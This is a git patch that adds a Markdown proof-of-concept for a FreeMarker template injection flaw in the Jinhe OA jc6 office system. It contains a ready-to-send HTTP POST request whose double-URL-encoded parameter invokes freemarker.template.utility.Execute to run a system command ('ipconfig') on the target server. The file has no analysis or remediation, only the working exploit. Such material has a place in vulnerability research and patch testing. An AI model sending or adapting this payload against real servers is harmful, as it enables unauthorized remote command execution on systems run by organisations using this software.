From 521ea9f7b593b45b0ac8806219c643dc22e43341 Mon Sep 17 00:00:00 2001 From: wy876 <139549762+wy876@users.noreply.github.com> Date: Thu, 14 Mar 2024 16:04:44 +0800 Subject: [PATCH] =?UTF-8?q?Create=20=E9=87=91=E5=92=8COA=5Fjc6=5FviewConTe?= =?UTF-8?q?mplate.action=E5=AD=98=E5=9C=A8FreeMarker=E6=A8=A1=E6=9D=BF?= =?UTF-8?q?=E6=B3=A8=E5=85=A5=E6=BC=8F=E6=B4=9E.md?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- ...viewConTemplate.action存在FreeMarker模板注入漏洞.md | 12 ++++++++++++ 1 file changed, 12 insertions(+) create mode 100644 金和OA_jc6_viewConTemplate.action存在FreeMarker模板注入漏洞.md diff --git a/金和OA_jc6_viewConTemplate.action存在FreeMarker模板注入漏洞.md b/金和OA_jc6_viewConTemplate.action存在FreeMarker模板注入漏洞.md new file mode 100644 index 0000000..d0a4e6c --- /dev/null +++ b/金和OA_jc6_viewConTemplate.action存在FreeMarker模板注入漏洞.md @@ -0,0 +1,12 @@ +## 金和OA_jc6_viewConTemplate.action存在FreeMarker模板注入漏洞 + + +## poc +``` +POST /jc6/platform/portalwb/portalwb-con-template!viewConTemplate.action HTTP/1.1 +Host: your-ip +Accept-Encoding: gzip +Content-Type: application/x-www-form-urlencoded + +moduId=1&code=%253Cclob%253E%2524%257B%2522freemarker.template.utility.Execute%2522%253Fnew%28%29%28%2522ipconfig%2522%29%257D%253C%252Fclob%253E&uuid=1 +```